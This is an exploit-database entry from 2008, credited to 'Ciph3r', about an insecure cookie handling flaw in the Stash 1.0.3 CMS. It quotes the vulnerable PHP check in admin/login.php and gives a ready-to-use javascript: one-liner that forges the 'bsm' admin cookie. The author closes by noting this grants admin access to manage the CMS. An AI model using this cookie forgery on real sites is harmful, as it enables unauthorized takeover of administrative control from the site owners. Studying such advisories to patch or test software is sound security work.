Stash 1.0.3 - Insecure Cookie Handling

2008-09-09T00:00:00
ID EXPLOITPACK:DA3110B02C0BC214D03D4C8CC01C4E90
Type exploitpack
Reporter Ciph3r
Modified 2008-09-09T00:00:00

Description

Stash 1.0.3 - Insecure Cookie Handling

                                        
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  #                                                                                                  #
  #           ...:::::stash-1.0.3 Insecure Cookie Handling Vulnerability ::::....                    #          
  ###################################################################################################


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Discoverd By : Ciph3r

special tnx to : Iranian hacker & Kurdish Security TEAM

E-Mail : Ciph3r_blackhat@yahoo.com

cms :  http://sourceforge.net/project/showfiles.php?group_id=206129
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DESCRIPTION:

stash-1.0.3, suffers from insecure cookie handling, when a admin login is successfull the script creates
a cookie to show the rest of the admin area the user is already logged in. the bad thing is the cookie doesnt
contain any password or anything alike, therefor we can craft a admin cookie and make it look like we are
logged in as a legit admin.
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
vuln code in  admin/login.php


if(isset($_COOKIE['bsm'])&&isset($_COOKIE['msb'])){
        $authenticate->checkCookie($_COOKIE['bsm'],$_COOKIE['msb']);


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exploit:
javascript:document.cookie = "bsm=1; path=/"; 
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now you can get admin access and manage the cms ;)
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# milw0rm.com [2008-09-09]